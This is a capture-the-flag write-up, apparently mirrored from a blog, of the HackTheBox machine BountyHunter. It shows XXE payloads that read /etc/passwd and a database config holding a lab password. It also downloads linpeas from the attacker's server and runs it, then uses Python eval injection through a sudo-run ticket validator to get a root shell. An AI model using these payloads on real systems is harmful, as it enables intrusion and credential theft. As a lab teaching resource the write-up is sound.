mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 20:37:01 +00:00
379 lines
14 KiB
Markdown
379 lines
14 KiB
Markdown
---
|
||
search:
|
||
exclude: true
|
||
---
|
||
# BountyHunter Writeup
|
||
|
||

|
||
|
||
## Introduction :
|
||
|
||
BountyHunter is an easy Linux box released back in July 2021
|
||
|
||
## **Part 1 : Initial Enumeration**
|
||
|
||
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
||
|
||
|
||
[ 10.0.0.10/16 ] [ nowhere ] [~/HTB/BountyHunter]
|
||
→ vim /etc/hosts
|
||
|
||
[ 10.0.0.10/16 ] [ nowhere ] [~/HTB/BountyHunter]
|
||
→ sudo vim /etc/hosts
|
||
[sudo] password for nothing:
|
||
|
||
[ 10.0.0.10/16 ] [ nowhere ] [~/HTB/BountyHunter]
|
||
→ cat /etc/hosts | grep bounty
|
||
10.129.95.166 bountyhunter.htb
|
||
|
||
[ 10.0.0.10/16 ] [ nowhere ] [~/HTB/BountyHunter]
|
||
→ nmap -sCV bountyhunter.htb
|
||
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-29 16:10 UTC
|
||
Nmap scan report for bountyhunter.htb (10.129.95.166)
|
||
Host is up (0.027s latency).
|
||
Not shown: 998 closed tcp ports (conn-refused)
|
||
PORT STATE SERVICE VERSION
|
||
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
|
||
| ssh-hostkey:
|
||
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|
||
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|
||
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
|
||
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|
||
|_http-title: Bounty Hunters
|
||
|_http-server-header: Apache/2.4.41 (Ubuntu)
|
||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||
|
||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||
Nmap done: 1 IP address (1 host up) scanned in 9.12 seconds
|
||
|
||
|
||
|
||
## **Part 2 : Getting User Access**
|
||
|
||
Our nmap scan picked up port 80 so let's investigate it:
|
||
|
||

|
||
|
||
We click "Portal" and it shows us the following:
|
||
|
||

|
||
|
||
So here we see that we can input some text in the fields, so let's intercept it with burpsuite:
|
||
|
||
 
|
||
|
||
So here we see that forwarding the request, once sent adds data to a DB. However let's take a closer look at the data which seems to be a base64 string once b64 decoded:
|
||
|
||

|
||
|
||
|
||
[ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter]
|
||
→ vim data
|
||
|
||
[ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter]
|
||
→ cat data
|
||
<****?xml version="1.0" encoding="ISO-8859-1"?> <****bugreport> <****title>niihlism
|
||
<****cwe>cwe
|
||
<****cvss>10.0
|
||
<****reward>999999
|
||
<****/bugreport>
|
||
|
||
So from here, we can modify the xml data with a payload to print out /etc/passwd:
|
||
|
||
|
||
[ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter]
|
||
→ vim data
|
||
|
||
[ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter]
|
||
→ cat data
|
||
<****?xml version="1.0" encoding="ISO-8859-1"?> <****!DOCTYPE nothing [ <****!ELEMENT nothing ANY > <****!ENTITY nihilism SYSTEM "file:///etc/passwd" >]> <****bugreport> <****title> &nihilism;<****/title> <****cwe>cwe <****/cwe> <****cvss>10.0 <**/cvss>
|
||
<****reward>999999 <****/reward> <****/bugreport>
|
||
|
||
[ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter]
|
||
→ base64 -w0 data
|
||
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KICA8IURPQ1RZUEUgbmloaWxpc3QgWyAgCiAgPCFFTEVNRU5UIG5paGlsaXNtIEFOWSA+CiAgPCFFTlRJVFkgeHhlIFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIiA+XT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5uaWhpbGlzbTwvdGl0bGU+CgkJPGN3ZT5jd2U8L2N3ZT4KCQk8Y3Zzcz4xMC4wPC9jdnNzPgoJCTxyZXdhcmQ+OTk5OTk5PC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+Cg==%
|
||
|
||
Then use the b64 string in the burp repeater, and don't forget to URL encode it by selecting it and pressing CTRL+U, then click send:
|
||
|
||

|
||
|
||
So now we know the users on the system, so let's continue by looking for other files:
|
||
|
||
|
||
[ 10.10.16.14/23 ] [ nowhere ] [~]
|
||
→ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://bountyhunter.htb/ -x php
|
||
===============================================================
|
||
Gobuster v3.3
|
||
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
|
||
===============================================================
|
||
[+] Url: http://bountyhunter.htb/
|
||
[+] Method: GET
|
||
[+] Threads: 50
|
||
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
|
||
[+] Negative Status codes: 404
|
||
[+] User Agent: gobuster/3.3
|
||
[+] Extensions: php
|
||
[+] Timeout: 10s
|
||
===============================================================
|
||
2022/11/20 11:10:47 Starting gobuster in directory enumeration mode
|
||
===============================================================
|
||
/.php (Status: 403) [Size: 281]
|
||
/index.php (Status: 200) [Size: 25169]
|
||
/resources (Status: 301) [Size: 324] [--> http://bountyhunter.htb/resources/]
|
||
/assets (Status: 301) [Size: 321] [--> http://bountyhunter.htb/assets/]
|
||
/portal.php (Status: 200) [Size: 125]
|
||
/css (Status: 301) [Size: 318] [--> http://bountyhunter.htb/css/]
|
||
/db.php (Status: 200) [Size: 0]
|
||
/js (Status: 301) [Size: 317] [--> http://bountyhunter.htb/js/]
|
||
|
||
|
||
|
||
So let's try to print out the db.php file using the php filter base64-encode method to avoid having the php code being executed when we try to read it:
|
||
|
||
|
||
<****?xml version="1.0" encoding="ISO-8859-1"?> <****!DOCTYPE nothing [ <****!ELEMENT nothing ANY > <****!ENTITY nihilism SYSTEM "php://filter/convert.base64-encode/resource=db.php" >]> <****bugreport> <****title> &nihilism;<****/title> <****cwe>cwe <****/cwe> <****cvss>10.0 <****/cvss> <****reward>999999 <****/reward> <****/bugreport>
|
||
|
||
[ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter]
|
||
→ base64 -w0 dataphp
|
||
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI/PgogIDwhRE9DVFlQRSBub3RoaW5nIFsgIAogIDwhRUxFTUVOVCBub3RoaW5nIEFOWSA+CiAgPCFFTlRJVFkgbmloaWxpc20gU1lTVEVNICJwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWRiLnBocCIgPl0+CgkJPGJ1Z3JlcG9ydD4KCQk8dGl0bGU+Jm5paGlsaXNtOzwvdGl0bGU+CgkJPGN3ZT5jd2U8L2N3ZT4KCQk8Y3Zzcz4xMC4wPC9jdnNzPgoJCTxyZXdhcmQ+OTk5OTk5PC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+Cg==%
|
||
|
||
` 
|
||
|
||
So it managed to read the db.php file and gave out it's contents in b64 format, so let's decode it:
|
||
|
||
|
||
[ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter]
|
||
→ echo 'PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo='
|
||
| base64 -d
|
||
<****?php
|
||
// TODO -> Implement login system with the database.
|
||
$dbserver = "localhost";
|
||
$dbname = "bounty";
|
||
$dbusername = "admin";
|
||
$dbpassword = "**m19RoAU0hP41A1sTsq6K** ";
|
||
$testuser = "test";
|
||
?>
|
||
|
||
|
||
|
||
And now we have credentials ! Coupled with the development username we found earlier, we login:
|
||
|
||
|
||
[ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter]
|
||
→ sshpub development@bountyhunter.htb
|
||
The authenticity of host 'bountyhunter.htb (10.129.95.166)' can't be established.
|
||
ED25519 key fingerprint is SHA256:p7RCN4B2AtB69d0vE1LTmg0lRRlnsR1fxArJ+KNoNFQ.
|
||
This key is not known by any other names.
|
||
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
|
||
Warning: Permanently added 'bountyhunter.htb' (ED25519) to the list of known hosts.
|
||
development@bountyhunter.htb's password:
|
||
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
|
||
|
||
* Documentation: https://help.ubuntu.com
|
||
* Management: https://landscape.canonical.com
|
||
* Support: https://ubuntu.com/advantage
|
||
|
||
System information as of Sun 20 Nov 2022 11:16:54 AM UTC
|
||
|
||
System load: 0.01
|
||
Usage of /: 23.7% of 6.83GB
|
||
Memory usage: 13%
|
||
Swap usage: 0%
|
||
Processes: 217
|
||
Users logged in: 0
|
||
IPv4 address for eth0: 10.129.95.166
|
||
IPv6 address for eth0: dead:beef::250:56ff:fe96:475
|
||
|
||
|
||
0 updates can be applied immediately.
|
||
|
||
|
||
The list of available updates is more than a week old.
|
||
To check for new updates run: sudo apt update
|
||
|
||
Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
|
||
development@bountyhunter:~$ id
|
||
uid=1000(development) gid=1000(development) groups=1000(development)
|
||
development@bountyhunter:~$ cat user.txt
|
||
62XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
||
|
||
And that's it ! We managed to login as the development user.
|
||
|
||
## **Part 3 : Getting Root Access**
|
||
|
||
Then, in order to privesc, we use linpeas.sh as we did on the Previse box:
|
||
|
||
|
||
[term1]
|
||
[ 10.10.16.14/23 ] [ nowhere ] [~/HTB/BountyHunter]
|
||
→ locate linpeas.sh
|
||
/home/nothing/HTB/Cap/linpeas.sh
|
||
/home/nothing/HTB/Knife/linpeas.sh
|
||
/home/nothing/HTB/Paper/linpeas.sh
|
||
/home/nothing/HTB/Previse/linpeas.sh
|
||
|
||
[ 10.10.16.14/23 ] [ nowhere ] [~/HTB/BountyHunter]
|
||
→ cp /home/nothing/HTB/Previse/linpeas.sh .
|
||
|
||
[ 10.10.16.14/23 ] [ nowhere ] [~/HTB/BountyHunter]
|
||
→ python3 -m http.server 9090
|
||
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
|
||
|
||
[term2]
|
||
development@bountyhunter:~$ which wget curl
|
||
/usr/bin/wget
|
||
/usr/bin/curl
|
||
development@bountyhunter:~$ wget http://10.10.16.14:9090/linpeas.sh -O /tmp/peas.sh
|
||
--2022-11-20 11:19:30-- http://10.10.16.14:9090/linpeas.sh
|
||
Connecting to 10.10.16.14:9090... connected.
|
||
HTTP request sent, awaiting response... 200 OK
|
||
Length: 776167 (758K) [application/x-sh]
|
||
Saving to: ‘/tmp/peas.sh’
|
||
|
||
/tmp/peas.sh 100%[==========================================================================================================================================================>] 757.98K 123KB/s in 9.3s
|
||
|
||
2022-11-20 11:19:41 (81.1 KB/s) - ‘/tmp/peas.sh’ saved [776167/776167]
|
||
|
||
|
||
development@bountyhunter:~$ chmod +x /tmp/peas.sh
|
||
development@bountyhunter:~$ /tmp/peas.sh
|
||
|
||
|
||
` 
|
||
|
||
Let it run, then scrolling through the output we see the following:
|
||
|
||

|
||
|
||
So apparently the user development can run a python script as the root user, so let's take a look at it:
|
||
|
||
|
||
development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py
|
||
#Skytrain Inc Ticket Validation System 0.1
|
||
#Do not distribute this file.
|
||
|
||
def load_file(loc):
|
||
if loc.endswith(".md"):
|
||
return open(loc, 'r')
|
||
else:
|
||
print("Wrong file type.")
|
||
exit()
|
||
|
||
def evaluate(ticketFile):
|
||
#Evaluates a ticket to check for ireggularities.
|
||
code_line = None
|
||
for i,x in enumerate(ticketFile.readlines()):
|
||
if i == 0:
|
||
if not x.startswith("# Skytrain Inc"):
|
||
return False
|
||
continue
|
||
if i == 1:
|
||
if not x.startswith("## Ticket to "):
|
||
return False
|
||
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
|
||
continue
|
||
|
||
if x.startswith("__Ticket Code:__"):
|
||
code_line = i+1
|
||
continue
|
||
|
||
if code_line and i == code_line:
|
||
if not x.startswith("**"):
|
||
return False
|
||
ticketCode = x.replace("**", "").split("+")[0]
|
||
if int(ticketCode) % 7 == 4:
|
||
validationNumber = eval(x.replace("**", ""))
|
||
if validationNumber > 100:
|
||
return True
|
||
else:
|
||
return False
|
||
return False
|
||
|
||
def main():
|
||
fileName = input("Please enter the path to the ticket file.\n")
|
||
ticket = load_file(fileName)
|
||
#DEBUG print(ticket)
|
||
result = evaluate(ticket)
|
||
if (result):
|
||
print("Valid ticket.")
|
||
else:
|
||
print("Invalid ticket.")
|
||
ticket.close
|
||
|
||
main()
|
||
|
||
|
||
This python script validates tickets with the following format:
|
||
|
||
|
||
development@bountyhunter:/opt/skytrain_inc$ ls -lash invalid_tickets/
|
||
total 24K
|
||
4.0K drwxr-xr-x 2 root root 4.0K Jul 22 2021 .
|
||
4.0K drwxr-xr-x 3 root root 4.0K Jul 22 2021 ..
|
||
4.0K -r--r--r-- 1 root root 102 Jul 22 2021 390681613.md
|
||
4.0K -r--r--r-- 1 root root 86 Jul 22 2021 529582686.md
|
||
4.0K -r--r--r-- 1 root root 97 Jul 22 2021 600939065.md
|
||
4.0K -r--r--r-- 1 root root 101 Jul 22 2021 734485704.md
|
||
development@bountyhunter:/opt/skytrain_inc$ cat invalid_tickets/734485704.md
|
||
# Skytrain Inc
|
||
## Ticket to Bridgeport
|
||
__ticket code:__
|
||
**18+71+8**
|
||
##Issued: 2021/06/21
|
||
#End Ticket
|
||
|
||
|
||
|
||
So the idea is to create a poisoned ticket like so:
|
||
|
||
|
||
development@bountyhunter:~$ cat /tmp/nihi.md
|
||
# Skytrain Inc
|
||
## Ticket to Bridgeport
|
||
__Ticket Code:__
|
||
****32+110+43+ __import__('os').system('id')****
|
||
##Issued: 2022/11/22
|
||
#End Ticket
|
||
|
||
development@bountyhunter:~$ sudo python3.8 /opt/skytrain_inc/ticketValidator.py
|
||
Please enter the path to the ticket file.
|
||
/tmp/nihi.md
|
||
Destination: Bridgeport
|
||
**uid=0(root) gid=0(root) groups=0(root)**
|
||
Valid ticket.
|
||
|
||
|
||
|
||
And as you can see we managed to get code execution as the root user, so let's use it to spawn a root shell:
|
||
|
||
|
||
development@bountyhunter:~$ vim /tmp/nihi.md
|
||
development@bountyhunter:~$ cat /tmp/nihi.md
|
||
# Skytrain Inc
|
||
## Ticket to Bridgeport
|
||
__Ticket Code:__
|
||
**32+110+43+ __import__('os').system('bash')**
|
||
##Issued: 2022/11/22
|
||
#End Ticket
|
||
development@bountyhunter:~$ sudo python3.8 /opt/skytrain_inc/ticketValidator.py
|
||
Please enter the path to the ticket file.
|
||
/tmp/nihi.md
|
||
Destination: Bridgeport
|
||
root@bountyhunter:/home/development# id
|
||
uid=0(root) gid=0(root) groups=0(root)
|
||
root@bountyhunter:/home/development# cd
|
||
root@bountyhunter:~# cat root.txt
|
||
af1770ee0049711f6b5450004f011db0
|
||
afXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
||
|
||
|
||
And that's it! We managed to privesc to the root user and get the root flag.
|
||
|
||
## **Conclusion**
|
||
|
||
Here we can see the progress graph :
|
||
|
||

|
||
|